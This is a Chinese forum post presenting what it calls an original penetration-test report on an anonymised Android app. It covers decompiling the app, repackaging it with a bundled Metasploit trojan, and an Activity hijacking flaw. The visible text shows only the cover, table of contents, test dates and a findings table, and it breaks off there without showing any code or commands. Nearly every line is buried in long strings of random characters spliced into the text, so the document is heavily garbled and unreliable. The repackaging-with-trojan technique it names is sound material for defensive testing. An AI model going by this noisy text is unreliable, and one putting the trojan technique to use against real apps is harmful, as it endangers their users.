找回密码
 立即注册

QQ登录

只需一步,快速开始

欢迎中测联盟老会员回家,专门使用25年老域名强势回归
查看: 2959|回复: 0

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
发表于 2022-6-8 20:32:44 | 显示全部楼层 |阅读模式
* S7 c4 V5 S; o & o8 s4 S3 b! ^! A. V9 }

( Q$ O$ P3 m# }8 e% j V- X( N( U: F" t. \4 g6 @) v
2 }, C1 D. `, H- c' @8 y " `; r9 @6 H) K

5 @, B! {, q, {, P + z- f/ g( F' h
2 q( ^7 D9 G+ O' Z, ` , s" }% ~% b2 E8 O

5 L7 A4 i2 x) U2 \9 T* u3 H1 g- x 文档编号:                2 A& E8 O7 n j; Z 4 M0 q3 y4 ]- v( q: d' C

( I6 {+ n9 |; P0 i: y9 j6 L # i9 N# t5 ^. y* n5 J ^8 f

" s/ ?- G! F# | ; B6 ^/ l( F# V% K. b. S) E   ! B3 F$ }% R- N) y, U x3 }, }" C ; G5 ?1 T3 N' _, G) [

- X2 r9 m; p/ A" F 1 c/ {: v; r# `8 k2 M

- E: D( M( o, K8 ?4 y+ r5 p) H) d9 ^6 a, w. M, x   + o, q$ b; Y- v ) J d8 x* B8 X* t+ h* r: Z! q

% h! g' N' l$ V t$ J' M 5 }/ J1 M6 d3 {" \" ^# I5 V

6 c; |& p; c- V4 C9 C+ X5 q9 X; W4 @   4 b1 V9 F: M$ @- A0 c& k6 x % |- r: \2 A ?# U! u! g8 {6 @

, }9 q; W: n5 R" y2 c8 O. M . A9 S# o$ D1 o# |

' M2 c2 q# C$ h& _- ^ J& }5 C# Y. ^* d   0 |5 q9 z% {: [) S3 O6 ?) c% S. {) B) d* z3 O* b

: Z0 O* O. }! R, w7 v8 P7 n 0 y$ h, d% q( t3 W/ T! |

6 H6 ^* a& s3 P u3 ] : `3 q) ~8 a$ N& ?# K. ?2 j" T1 b   6 w3 o, Y }7 ?" g ! j* a& g" Y. W% Y/ Y

1 H5 x# { R# ]/ n j! `- X; |3 h0 r

Y J- Q8 Z/ j0 X, k3 Q0 U ) X$ K) p3 n( V( M 某某某APP渗透测试 8 j2 x; m1 J' ~9 B% G) W2 E 0 g ^, v) W0 E' q) B) Q/ d

, }$ N$ x! l' I; J4 J ) j" ?9 v& x7 t! J+ J1 U9 q

8 D6 L6 R, q+ [4 `& D. ~# F. E7 ?: S- ]   / a9 C; D _; Y" K7 C7 C 8 _8 a! I/ {0 C2 `

5 y; U5 {7 c+ m9 B) Y& U% h% `2 x: ? s' I% }9 |% n5 `4 f& X

5 o3 f9 ~& B: Q & V9 ~& I7 @6 |5 I* ~$ I/ x   5 S/ x; L* h+ Z9 r& q' Q 2 H* T" v5 E: O8 w

) c3 v$ G) l( x # [2 d# L3 h( k: \- F+ N, o

# L( I' f! v& d: c" V. s + ~. B% I0 b8 n; p   ( V3 h W8 o( p3 z3 ?* y + [+ o' ?$ N' v

! F- I$ l+ x; T& h2 l+ h; z $ w1 R m& Q6 }5 Z

' F% d2 W4 F8 _2 r/ d, l " b, P; u' O- t0 {) s2 n4 n8 F   / ^ l+ z' [ O( Q1 M9 j. r2 S R: @8 }% S9 R5 K/ e: e

/ e* W8 }/ {$ J( I . }* O- A, p* r- |( S- P: }; W

, N4 y. g1 R: R 9 G! X `- m3 v# f- ` 技 术 报 告 5 v8 |3 \, _9 D; F5 n, g8 k ) |3 d8 f3 C$ N, U3 V6 B

. X) V3 X7 i5 F3 u9 w2 I- d1 ~' K 5 Y) j& Q. G' t y: I

* [' m2 N. ^; L/ o/ b. C5 L0 | 8 q& u2 D$ f7 @; B! v# e   + t- h8 J- k/ @8 @$ {- K3 Q 1 B3 O5 P" P9 Q4 M

' H. ], Q5 A2 q4 |- k) j2 L( d& \3 X" c; p3 o4 S" J

, p9 g, h. y8 S& m6 [& ]9 } ' e$ G7 X6 w/ k8 D) X8 \- s   2 m' C& A( s$ r! @& v* F 7 | l! c3 _6 `/ O# {

' [2 Y1 O3 ^# c$ ` % D) L- G/ r( W/ v& V8 K4 ^& P

( M0 | I; x3 [: I7 y8 E: D4 o9 }& h1 L& M7 M0 a% [8 j( E   7 g3 N% P0 n' q# _ , q- H" D1 W4 v7 a

5 K( s8 V$ X; E# H& L * H: B/ F. U% b4 L! H/ }" h

. p# `( |' V2 M # H; ^' A& c+ A- X   % ?# Q3 X3 |% M& g , B5 j$ e6 \2 e. O

; i$ n# h* j- V# ?# V5 ? ( ~4 B9 f/ Q5 @ k. k) |3 V

& Q) y' P( m6 _+ K4 Q 6 T6 \6 x. X; \3 O7 v) V" U   8 X- b% F/ \% P) Q * `/ `7 B. s5 Y& p

9 ?% X) F6 ^/ P; f" R3 B' m . _# J7 s1 _: q+ z( Y1 T/ X

3 R( [9 p, F3 R1 s+ h/ w! Y x 5 i- n' ]/ A% p& ^5 i. U) K   1 J* s- j/ _5 U9 O+ k) h 5 g f. t: m; b4 G8 Z. l/ S

* X# W) d$ m# U0 X 5 P/ J3 G$ X: \9 e( Y, ]* s

: A9 r U( E/ @( i k- Q$ S6 @& @3 P; H- J# {' o! g   7 ~3 N" s. U" t: y+ { ) R! y! i# W: O, k* o( G; W

: b0 k6 `( a( ~/ m 2 v1 @) L7 a) j- \$ Q4 ?* B. t

3 y: ?1 }* h; l) D2 j) T & \0 w' F1 {: j   2 \# q4 ~6 f1 V) l' D1 R & {$ W: R: M ]3 {8 m4 s- S1 ]' o

2 f" T2 s1 l6 _( F8 h. ~ 8 I. Y& H, T- ?4 b7 ~- \

% M& f) b/ k, ?/ ^, t q' G0 X( s& i6 A5 E   " X8 N! G J8 T! u3 T: W ( b8 j4 J+ C8 L( H+ c4 \

# W% ^( @1 U4 T) ?1 _8 Q N7 p9 r2 n+ P+ l& C. T& o

5 u, v0 R& k' u# v: G2 N- }6 [ ! u$ J3 {! u- t- z   9 m# g6 m7 F; }3 o+ q0 Y" E8 q/ I8 G9 d6 p7 N3 R I5 r

4 C, W% t4 H: T ! y) Q- f. ?/ o0 t2 ]* N: k- z

3 o5 B8 e( i: R ! A# S- c" w" P: H' b Z8 X   4 F1 j. v. D% { v! s6 T& F% W# [) Z

/ `" q( L7 X1 l; k1 M" R; d 5 k/ F% k, O) z; |

' ~ T3 o5 p% t; w 7 U) J; W! u7 r( W   - E" s# j6 \6 V8 {! P! d 1 w# n/ l# h) l0 d$ u

# T/ [; F+ Z. ]& j , o. M3 k0 f& t' D2 L3 w* K# j! V

( ?1 L# @ C6 A' ` 7 b$ j1 m/ Q, w4 h0 E   9 `: x6 n# I. Q q ( |( H7 T0 |+ z" s) x; r7 s

% }; H! t* n' @* [1 i ( ]$ R6 v; F) N9 }# g

% v2 h9 r* W+ z: O( n& F* T$ _& s3 Y( N, l8 ^( l- g   . s( x/ O. {. R ? , |. S9 D# X+ C" K, k

5 L$ W. N' y4 g: P& V & {7 W% q* q4 t9 y% A+ U/ F

7 |0 N5 Q0 @* K/ H$ p$ N ; w) H3 m8 `1 D2 f   0 m& ]3 F$ Z6 A+ I; l! _( N2 f( R7 b2 x5 p1 T! C5 ?2 h$ }* A( \, y/ t

o( n; o& v6 ^) k1 c 3 d4 H0 S$ v1 F2 g3 E

3 K* ]. ]4 [7 b) A* { V" o & Z/ |8 T! ~, C+ }   0 W2 K8 j- G* ^$ y9 i* b& z/ L 8 W1 A7 ?8 ^' n- R. e: ?2 m

5 `' A7 o D k, G9 P; ~6 R3 z* S7 ?5 ` S! P

, C" T e/ J z9 w& J ! e+ r, J3 l: [# x1 a   2 k9 f0 d* y9 e& u# j ( S; W" N8 x: n& w$ H/ T4 k' X0 x

- A& V7 Y/ v! x" ~0 M" M9 x3 J6 D% V: a; y# T

3 f; t2 y, ^) g0 _# K. w8 U& @7 G ( |6 w5 o @4 [1 b' G" D   + B }8 H ^7 t" y2 v( \- C& ~ 8 _. \9 F0 w% d. k# |

) L: L' Q; \: S( o' k ) ~$ C H! |# C8 G% A. m7 m- k2 f

0 S" V! m; f4 `) O; A* T# U " f0 G* k2 I* s9 {% w# x; b) o 二〇二〇年 : f3 c* @4 u# ]$ X/ [5 v/ A E9 U0 m7 J

* F8 I( [/ B8 I# A , E; c) H' q% ?0 W+ q9 M9 p; R, @. o4 b
1 ~; _# C+ P# V4 d* |' W; Y/ D 7 u% T$ z( l4 |( t& C
+ m0 X% @+ }' i7 J+ h9 Z! E0 z5 v0 ]+ L. R
8 p. s+ K/ Q9 n1 T4 D- | . T* G3 |+ j& x) m1 n' L7 Q
+ }% C( [- y/ d; _ 3 X. v( H; q$ |0 w$ P
/ b4 w R$ G$ g3 @3 k. C& t# J 0 y: O3 `, g0 {+ a5 t3 q. M
# [" ?3 n; C9 O7 q1 C) `8 @( @* b8 Y7 h! [
4 C- k6 b$ }& `* D4 I , F6 F9 o3 h+ O$ ?( g
4 F' C- \( c% y2 w0 B% J% p" {5 N% K, ]" i+ E9 o, l% X. c- z

* L, v+ G! c3 {& {! | + Z8 W) z/ b9 ]3 g0 Q: H s1 T* a 目 录 / e8 Q3 \! K1 j" L; w* k5 u " s' |' S7 ~. L1 S: `

( R+ D4 U+ h0 \. R% ~ 0 y9 n- V, P" v" P& c* _/ D5 U$ K 7 c+ H( O* X* l# P' F7 L" j5 A( i* E9 g- U

; `: M/ Q" H7 L5 r( K& l" U7 r; Q0 h) ~1 n. B   . f9 \' K! `5 B2 f3 H R0 w' q+ K& r

$ O$ s& [! P+ _: L7 { z5 h$ K4 S9 G) t, c

2 A0 U& [9 ?* n+ i9 E _! m0 p $ F4 T: z( e5 F6 t/ A5 f 1 概述... 3 ( f- W$ X( l+ \6 [ 2 G, L; W) o& x$ L( H. ~$ k

" e% c$ h: O7 j O" E0 H8 w Z8 ^# _$ v5 I' U% y* ]2 i% E

% r. s7 M5 a4 s; u+ d+ q+ a. X $ g5 G. z6 A; ^* v2 A 1.2测试时间... 3 ( j* Y i! P, Z9 h/ t* \+ l# O ) |+ D6 z; A2 k4 Q- \# ~- ?1 J

' i1 m- @5 j# ]; `8 L. A ( ?/ _4 ?' u3 F$ c k

$ y) P! Z6 {, @: I$ m# \ * d2 y; Z8 k; s% g8 m 1.3测试对象... 3 - a9 ~7 H# F* g+ C, z0 s. H: n& n5 p2 w- N2 n: n

1 d( K+ e7 C) ?7 K' f) z& C& O$ O/ X! N* Z' r& r$ Q, z/ D

$ j W5 C' [9 c2 e0 W( L' x9 a' t 1.4测试结果... 3 * c4 k5 x2 ?) J" |3 m' C 9 F5 L+ S$ M! Y, s

$ F- D& z/ M0 p- W ! L, q0 K$ z4 o& z

9 j, m' m l/ J( T7 ` % [, S( v& f% I) q. q/ F7 g 2 检测结果... 4 " a: |) }5 S% X q+ ]+ e8 H: ^9 F# X( T5 W

! A( @' M! R% j9 }$ y# k' z+ L1 t% T E. h) F2 j

- _3 n5 |* k) \) d: t5 p. U 0 I2 e& C$ K5 ? 2.1 某某某... 4 5 q7 }7 N% G: Q1 x b O9 y% u9 s; r: W3 s% _' l

) ^6 m7 n! Q4 C; h 3 ^$ ~ f. ~0 g( W) C* U$ ^

/ s; h2 j% U) R" w+ i2 n$ l# b1 o1 y0 k' _/ R$ l2 m* j2 M 2.1.1检测目标... 4 5 Y5 d3 O$ Q& z ( W. A$ m+ i8 N+ P

5 {: }' y' Y/ o/ R S; K3 G/ d2 [. Y2 x' d. c3 N$ i1 t9 ?" y, v

. s# y+ j* W8 h4 i( E7 O, Q & d& J- ?1 t+ V: [ 2.1.2检测结果... 4 2 H/ V7 {" p8 ]' k$ @ 6 _+ I! x0 r! Y8 x# d/ K

4 q8 m6 ~. t+ w4 E9 m4 ~- F $ ]9 n' }* u% L' N& q/ E. f

% y1 |1 f! n& g( S; D 2 w5 k+ X' F: y/ X( b( C5 J 2.1.2.1. 4 7 r7 ~+ R, g! C9 a' I b7 \/ z4 Y* l * ]6 }/ J2 x4 R0 ?$ ~9 Q

, s7 D' Y! u% j9 H# g% n( B& O: T. A3 k8 J

, {' F* Y7 T3 `* r 0 N6 g3 A+ j3 g( j* V 2.1.2.2. 6 ; Q) H" r# T0 ~6 ~/ K8 ~. T" u- s6 g1 O

" Y$ N! h& d( c2 q$ S 2 H: Z5 W0 N* E

6 T, L7 K0 A$ E; G; [! t6 Z! N2 v8 a 4 V. X8 c& H- q+ A 3 P; Q8 ]% |, X/ q9 V

7 N( f- t) {: O( d) H8 Y& \( [; O
8 O- {8 e C4 X1 \ " A6 J2 M/ B7 t- `8 N" S
, O% B& P! Y# N , R- X H' `+ U3 p* p) x: G% B
2 |: ~' w! W4 G; n: p+ ^" e& Q 2 W( D7 Z" N) q0 g7 F
2 D- h( ]; \. W& y1 e: o & j+ S+ O$ K: ?, w1 P* h

8 v* F# b* `" j% p ' {. G* P. {) m! W0 _9 J. x7 u 1 概述 . {- E, [; L2 s' {: b* i) U k3 ]& t* u, A* Q5 G

8 t/ o, n- _$ Z( e% a" W; |8 A1 n9 {* _5 F; U( {. M- I$ v

W" C1 T+ _5 H4 D6 Z: r& x3 R1 _ ' m1 Z- e) [' t* { 1.2测试时间 : H( {" j- o1 m , C% m- a, J( [/ S* G# _

( {& {) r% [/ e; h/ n } T' Q/ v& N; J: }6 t! n' a1 q - [. ~. f2 Q; N! l* U8 `* B( G4 ?+ J! }4 [' K% @( U* W8 Q* d7 \' g! W1 J- Q6 e) \$ L3 ?! I6 a2 j# @- [* h& K+ ?0 r$ Z: Y/ P$ g6 i4 S8 L* t0 P" V+ z: d+ p/ V& [( M8 P+ ~: A, H1 U7 x+ w0 u* L' w' H$ X. H% f8 L+ f) k* E/ p( d; [( x9 ^0 n; a3 @* E9 `; N- n- r, b, `4 F4 I+ ~9 P* S7 c. ]6 X. F4 V2 x# s; f* g2 K6 f' p/ V& w4 Q, `* ?' G% t' _3 A/ H( t7 y/ B B* Z& P! B$ c* H. T6 y8 F" ]/ y3 p3 g' A K9 t# M% ^1 N2 i1 e# [$ @5 @) j+ ]( E r# ]- P, T/ ^4 o4 d# @# q8 |* G# {, s4 }1 z" B" p4 I5 i2 O# X- I/ o" J$ Y! d1 j) w; D* _, [" K" J3 S f/ T" j- H) j2 C9 d; A( |+ j7 Z. U) O( O0 V, `4 H- Y3 C& S2 b2 [6 O' X# C: t; `9 Z( d# L+ W r% h/ n% W& p7 \
) Y6 O! l" L+ b8 V- ~" Q- Q9 G H 9 l, h: g0 S6 N9 p

1 [3 K! l- x( A% ~& n9 T& O e+ @. H+ \9 {1 K 渗透测试时间 , v( ?- ^+ `4 q& p. U* Y 8 m. N) Y" L/ b5 u

$ t9 z) h5 b+ b$ y * U, Y, L+ |+ u4 o0 P8 j K. j
i- b# j+ C: M" D3 f& v3 E! V5 a% M, Q8 s4 [; G2 z2 n/ Y

: O: c4 s4 g4 D4 A& C% y' B 8 P b1 K, }2 a 起始时间 ; x$ k4 Y9 h: m 6 b5 | S; }1 B

2 z/ }! e" F8 y2 y3 X ( a7 X7 L9 S9 z5 J' K& i
* W! a! ^& V8 X1 S0 g - ?8 H+ ^, ?+ {( v' D9 d6 ?

3 T' n1 n }8 S4 Z. W* S* N# p, D g h1 w 202046 7 F! {4 r& i# D 8 E- k* I- J+ S* v! ]

9 ?& R! ]5 T, K! M- I: y; l" U T* }% P# e
- r. d; K' i$ y1 l5 L1 ~$ m8 ^+ e( q

" r2 r) Z; Q& U( Q# w ; j6 g5 ?1 v, o5 i1 X3 i 结束时间 % U- A2 }0 C% S! t% ^ & F$ W9 {* N" w9 T* o

! n5 q! V3 v, Y& C w 6 o* ` b( a) ^! X2 O
5 L9 `7 E ^% X( X8 P* h# Z% v2 g; y+ N+ k# H8 v. i- D

7 W% L) A& X, Q0 v9 f2 } 4 d* U+ j) ^4 ~( N% l 202049 6 h/ q; P8 z; `6 A8 j+ a $ F2 l' x1 W/ G$ h* ]

, }: b* t( d2 Y7 n 2 c% R9 I' a" d
6 A: `$ A* g Z* f1 |' ]3 A0 W! C2 F+ o% e1 H

: [4 ~4 F9 v8 v% _' u9 t) H/ H* W " h4 i: S- i6 J$ [: F 1.3测试对象 - w: G5 B- J2 l- e1 f h- M6 y I5 ?4 W5 f# i3 }& F: S

5 V' h# F4 O9 {. X% h) [ , y- \5 L8 ~7 z5 a

) R( }, \3 v" A s+ v5 s1 X6 \2 A5 f 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ; e* R4 _- {% @( F 8 Y. D9 v/ a3 {! z1 h

. C' c: b2 c! |+ @* u, I5 n* y1 r$ Z/ x* V

$ W' U6 [) h: u2 R' N* _% Q" ~8 g - F' K+ v2 ?3 W+ M, I. V) u0 g& N, @ 1-1 检测对象 1 O9 R9 m* B" U) P( q( j. J$ f % P. n4 |8 k8 `! o' q' K

( J! K; i% }/ @8 s! r$ D. w) h/ I' W1 o- F. H+ l. T/ } 4 X7 Q6 \% x/ [7 N; @ `- Z$ O! l: Z7 U! @1 _1 ^ e) X$ n8 _9 p7 Z& U( \; ^+ E7 K1 d8 ^4 D2 \( l( i4 M& G$ i" r/ u4 v; @. _$ D% E( P$ v" |! {) O. {, M3 V0 J( f* P, M- G) k* V* `9 n$ }% Z) d6 H3 n+ {+ u. t! C/ @: u# `3 F6 \ Q8 E* m0 p( {/ M- ~% x" B9 P/ L9 B+ i5 X! D* Q& o3 j( a1 X6 q: j6 A* p: O3 v6 }1 y' i( n3 ~/ h: t8 ?! k3 n6 V" d: ^% [( v( f5 U+ [. q1 m7 S2 p3 _; U4 f/ [5 D+ F, L& o: N# N% U# h0 c2 Q$ ^3 `$ U. w/ c9 {9 y5 D% W0 g5 i2 \" N: K# i k; T( S+ W( X* @& J+ L1 E: E! u7 ~+ U7 I0 p7 K) l5 q9 W+ T0 Y+ w1 Y' _0 q1 M0 P$ W( ^$ a: d+ X0 V( s9 g' C# h m. v! n& @9 g f3 ~% ?) J" U% r* O" z& b1 \& }& b1 r$ i2 M3 x0 G* [" A( M, o! n# J9 F( U5 N; O. p1 b4 e2 `# w% N4 A$ z! X' p+ Y
I4 ~, F; V) g9 U' T0 Q: m) U% V/ e# Q7 ~' n" ]/ K: _; |) a! c

, T$ S8 [8 M8 c, S( o8 Q0 A0 q3 @# R0 q" O 序号 6 @9 o# T. k* ]& n( C( N, c* o* E& x3 h# _, W' a& d$ T1 K4 ?# h

8 m1 Y, ~+ {: u; ~* g5 b- B4 {( \" G0 v9 m' \# f) P) D5 w
Y, {6 b+ i8 q+ H. \* Q- y; f5 x 3 v5 {! M' M# y+ h

/ l6 F, i6 ^" q* B# E( _; Z5 ^; h$ |, p! ^! Q& d: {% U1 @/ i) o# l 测试对象 , m, m6 G" B8 Y$ n& b) x$ B( u* |& G+ b) q% S6 M

) o) r3 b" L+ f2 z o0 S+ ^+ S8 f, Z4 y 5 {6 }0 ~1 S# @
5 H0 @3 b' {* g, n' p K2 f Z: L% c

6 D' T% K; w1 v. [ " a) c# ^: L7 R+ e+ F& E) V 测试地址 2 R. @9 A. W' F 5 h7 h; Y8 r0 T$ |

7 g6 h" m8 w9 g9 S0 Z % s$ p7 m- C8 O
0 t( F) f+ Z* T: k: _ $ ~! r2 S' g( Q

8 d N9 W9 w9 G0 G8 }# ?; c z4 o0 w3 A$ y" p# O 安全漏洞 + b/ y, }6 q, a& F . b- ^0 }1 S e1 O$ m, B

, v, v) C( \. d( x6 |& j - ~; c4 I9 [. Y2 w
* O5 h2 K* \: q! u* v8 _' o/ d. ?2 v: ?& V

0 z3 ?; ^1 f& Z" l' `! E% A' D 1 J$ j8 D: q' t+ O0 H+ u9 y7 b 1 9 z. p8 t- n& a7 ~1 U! T + B6 ?3 n: k9 H. X

: O. v1 P: w7 z; v ~ : @, ~7 A. U' C, R) g# k0 i' P% \- X
- t& Q! D: v B9 {4 g2 v+ T9 E# l 6 g4 ^ j8 _4 R( G

6 z. D* q0 Z7 k 6 n4 J a, _: h 某某某安卓APP 7 R5 L1 g) h9 ]+ D$ n0 {' Q+ m" ^ . ~/ r. ?- g0 a$ k

0 P' ~8 R2 e8 _# ]& U 7 G# y# z0 ~6 U1 A+ d& T4 X3 n
: j; L, Q: c. r5 S; s & l% |& ^* H* ~8 q; i- C. `) c" i

0 y6 ~* V- w: @/ ` 4 [% ?% T* }/ X+ f2 C. M8 A   " x+ v' L% [' ] ; z9 k- P6 S& B8 d& C

4 ~& U5 _7 F4 i! m+ { $ U) u8 h1 S' ~2 _2 k! v! g
5 Y) s: J2 L" ?0 h" v : [" Z/ |: K& R3 b

- i7 n- \. J6 M3 C8 v, O3 w/ A5 W( W: ] y& h+ X2 q- N 2 + ^% {8 i- i- K4 i% Q # p# f0 F+ ^( ~- i! O- R, T

' p7 t5 o- g: E" a/ A# j- K. n: N0 s - N; |0 _9 j/ F, _( h2 Z, {- i
9 _. D: i0 B( R; _1 ?- i# s) [9 R$ w! _* R& m9 W# H

3 j, a4 ^' L. }. H" J3 A; l! W0 N0 K 1.4测试结果 ( U/ ]6 P; t t* K ( {" j) o- ]4 a7 O: l' j# U/ C0 d

F: F4 L0 L) J0 T 6 e8 U4 x: w) g$ ^ `

! _8 X3 T. M1 U: {* ^' K8 V) Q( G: h3 c# g+ Q0 M/ C 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: + V, |- J% f& x+ L n & ~& c5 O1 M2 y! `/ @, z3 O8 l

9 M9 F( E- W# A# z- t1 f 1 F4 a/ h' ?8 H' Y9 ?4 M, `

* n, l) }9 |. ~( [( S. @ 1 l% E) Q$ ] Q6 n   4 I6 X9 H& \% D% @# x8 g7 U- Z3 `- e) Y5 M i: M- m. S C

. t9 Y% W# r$ S6 z: S 9 g& p" V4 N$ |7 t9 Q( d
( F4 o9 c7 h5 U: P4 r; c8 p - w1 x" @/ _9 f ( O, a* G9 u! l1 B ^! X4 @! u6 N9 \5 B, b9 I: m( O( y. Z% Y$ |& M y" o8 z2 P8 W4 h9 {- F X2 F7 j5 d$ d7 c& j; [& B* b- g. Y2 _% k2 f; q# @: u5 T9 P F# c& J7 d8 I" a" W3 N# I3 \1 ]6 b% M. G \) Z1 w. t# b* J* J+ D/ {, x1 A9 }7 B! Z% m% g c3 W) h* Z: N% \% @! Y0 b0 ?: U1 ^3 g# v5 O8 s7 x0 F i0 o5 D* B, e* I& P7 \- y# x1 z3 B# |+ ^) U5 |" X0 ], V4 S \2 w+ D8 Y1 w: Z4 M1 I& t ?3 S& w6 ]. h, c8 r! T# b0 J9 ^1 e* L! ~' k4 r6 J5 h6 [: Q6 l9 n; Q( O: N0 \) D2 \6 b9 b, R3 f# c/ R; ]6 Y% _# A# d! M D3 n4 C; l' v4 V+ u' Y& N$ [' @: r- P6 B2 M' _4 {/ G- t2 {# X' E3 O& O, y0 X( x0 Y5 O/ o; H( y7 d: Y9 M* I( c# i& w" g& E& F4 {* ^# X7 Q& q. k4 I A- L2 N2 d7 }/ M4 n1 h- E2 [ H. m( C# l) r3 M9 W! Y- V4 f. u# {- {' h" R$ g) W9 D) ~/ U2 [* E+ J% X4 l. P" a1 i+ {5 w- P1 d p8 ]* W# ]2 J$ ^! E3 m2 E; W4 r$ [$ G3 I+ S( g2 p! T, I# T2 h/ R4 T! k6 Y* b/ t& L7 J) t9 R9 b& c1 ?, @1 Q* P/ L' d5 X1 B# W( S. y) j4 ~4 |* z5 h. x2 ^$ A# n& a6 m! A$ \& |1 p4 @ R3 r; d; {. ` ^ J. k( v% J. Q6 x1 U! a/ |: a) Z; J% Y2 g( Z) B ^! A# P; u# [1 O5 E1 O0 N, L% ?+ G' Y; [0 z) ?; b0 f) s* a4 W( K, O4 F3 x% v/ l' x3 D1 \* n0 ?& y8 p! c
' V* b7 R+ s/ D8 i* `2 U8 ` ! T5 L* R' S' z/ b ~+ Z; X P

3 H- [7 j% Y/ q& P$ R / C( O2 v( y. Q1 k8 k 序号 % X3 }9 {' J. H1 I' j; ~* z ) \1 r! Q4 Z( c2 w

; |# M$ z; _% d A+ m2 g1 G " r& N* S- s. v) t/ Y0 O* K6 u
# t; i+ J# d R0 m3 m5 N! _9 Y 8 Q6 e6 R/ j! p: T

& R; @, x" P: ? + {& X- a1 N# [1 q. K# | 系统名称 3 Y+ E( e! f, I ' R2 h6 m# E. P

4 G# y& c+ Y& m$ o % \ F( H& @0 h H
% ~# M9 n- j. X- Q) g* M! c8 L' M ; c4 N. A* Q1 {1 p( ]! ^

% Z X \1 k0 _ o ; m* ` y# z1 \0 f* r6 Q( x6 P$ C 漏洞名称 5 X4 M3 v# H0 v% H4 T/ [ \6 i 5 n& `0 D1 n: v4 ~( ?# a

( ?9 `& o9 D8 ]. t. o; m 4 O' s. H, B' J/ G
5 @& b; v1 Q4 [: I/ J ! t7 c- ~! ~* Z$ }

. H" F2 c, D! w' h4 e" a/ B0 n" h7 [' K) T( w5 o* x Q 漏洞危害 3 O8 T; }3 C' {. b A; y 2 L, V( H% x+ E3 ?5 T& X9 u

2 k7 C' E; f% y2 P. Q- T ( r$ `" v1 |# T# U
* j0 `) _" P" f3 y) N& l# B" F8 y 7 Y. f- G+ x3 ?. l& s# \0 i

' n, q! j4 c+ S; U' A) u5 R) m G; k' a2 I" z. d1 d0 T0 R3 k u 修复结果 6 l* l4 a' L* l' ?5 i 0 {: q. n" O6 C9 t) I

5 H% E$ j& L1 R& d. E. M2 O, u2 @% X: q- J
& M3 m) S' s( U5 T5 f 0 ^# ~) v5 p. _, y k+ H4 y- T

* k4 d, y, b L! l7 M4 y8 A6 ~- b# X/ T$ ^9 ] 1 7 Z" V! G6 {: O1 s; w3 N# D ! o8 i' V/ N7 T# `

! X4 x/ S3 R% B- H/ }6 V ! W! J! ?; w0 B8 i: {! J7 n* n+ H
# c+ t e7 Y2 {+ Y# x( n ' j. a# M3 q7 X" A8 @

% p, _- l$ E' m |: o9 @* k7 X0 T# _0 \0 [5 C* R8 D 某某某某某某APP 4 A* @) n l! t2 @/ O8 q 3 F3 q5 @3 ?. }- r

6 Q; _0 D9 e+ b0 s Y: { 3 Y4 V, O" T$ ?: N2 V
7 m, M: Z; L V : M1 |0 Q- g' k: ], q0 H

+ n: C. O2 {1 t% m1 J. } $ f( G5 R8 W7 w. H& Y. a. L, _ Activity 劫持 # q5 s0 [% t/ u' H e: K ; N" C) X1 o/ v: v9 h7 E

6 Y5 g+ Y3 x* i. l w% d7 j0 _' s! v4 X9 Q5 a# F4 \/ g

5 Q( ~+ I# P9 Y; ?% G. k" Z , ^* Q3 N$ L& Z" ~, b6 a5 ]* K7 D+ h   % \. ^2 {( V9 d& g P- C' |" A: k% a& X: Z

7 U+ k* P4 M' {) {( v% k+ b8 b$ N5 v3 a! K! ]
' B5 _1 H+ ~& X7 ^% F6 V 0 D- t: X. m' [' n$ Z

3 [, Z3 E! u' t% O& q9 w: q9 K+ g* K: h& `) W1 W ( g4 {+ g1 v( u4 [" o% }& e 6 f! [# ], X- ^# [& O

( B; h; j! c4 Z. M( t" {& X5 D) g o9 `7 B
7 [$ Q) c( U6 c% w0 U5 C E + c7 b6 u% [, N6 L8 V" Z. _, d

2 J" ^: e. T3 R3 g # z. x* y, X) l$ m   7 ?$ X: V4 }! M v/ o. C6 A0 u0 r 5 _- d* k. B9 p6 ?# Z( i# w

) J- C( ?) u( q$ W- N 0 f1 k! s' U8 Z- k g9 K. l: ?
7 `5 X) r2 r4 h- W( N @' p5 p # Z7 I0 M4 a' `( X; b

; L/ C2 f }. j7 O1 w! w$ V - x$ a9 X* b _ y. ` 2 9 M, l5 n/ Y, ^8 Z, Y " |4 Y, M, V; c( N$ G9 K# i7 ` @

* k/ I$ S, Y& `) B- {8 N! q/ N0 o% h: B2 \+ e8 o& B/ Q2 @$ _, m
# D( F( ^0 ~+ |% H$ U6 p U0 }6 P) E% W7 A" J" Q4 X' g+ S

( ?2 J/ O% ~3 l( S0 O7 V# U8 ^" s9 D 某某某某某某APP 7 h' v& `, S5 q: A9 Y5 v: R1 L- C5 F; a$ T! u3 I

' ~' B5 p/ B' b( k! V0 h 6 ~- U) `7 l! B) T m
( n# I. p5 u R* w3 a+ b" ?! g6 G2 P7 @& P

8 W8 A3 f0 Q% _$ B # U- U8 v( U$ |8 W5 B 反编译二次打包捆绑木马、篡改APP代码 % n# B6 {, e, D) b( W 0 D. c! O: W) t6 _

0 ^5 x* ^* ]( y / L G7 D9 n& u1 t5 Y7 b3 |
: O# t- y( L$ ?" D _, i 8 n& O8 [" x$ b" F: q3 w

' H( T, E+ @2 W! Z" t 4 y& C& d$ [& m7 T7 B) q % `9 `) j U a+ ^ 1 F. J+ Y# X+ I+ o" X

/ h4 ^8 A# S5 _" ?6 G( J4 G. P: V0 Q, T# y
6 g) z/ t& t% w4 l, ^6 i* D, R+ o8 {/ ?' g1 b) k3 w

8 \/ m' n8 N- Z' |# R ) w% y" |: `) Y: @8 w" y5 I( D8 \   F) g1 l8 d! L* X2 H 8 H; E% J8 u2 l; Z/ F7 I

# e! n/ U$ x. @: v" Q! d- v * a8 E8 l" A+ x& A0 L& r( \( l9 K6 X
: c# w+ x& C; Z& t6 o* q ' G/ _, p) x: D0 C% b6 X
1 b2 f' v4 v8 h$ g% ?' m3 ~) H 5 A2 y4 C% k1 b/ Q- T7 B

2 r3 T2 V$ ^! h+ r1 X! ^2 c; f * [, Z" R/ y# S1 H8 l, D) }! A   & b6 I& n' |* t9 k3 Y- E/ S 6 x0 }6 Z4 C0 O- M

3 t9 h$ j- L9 ~5 M' D" A8 @$ `! [) c- Q& F% J: e

6 ?; e/ k! @ i5 e2 v3 h; K! B6 f+ m 1-2 测试结果 # L; t. [! |+ i3 b & L( r9 M( Q( I n

' E/ h& K1 L8 ]- u+ u p! p+ c+ ~- d$ Z5 @ c

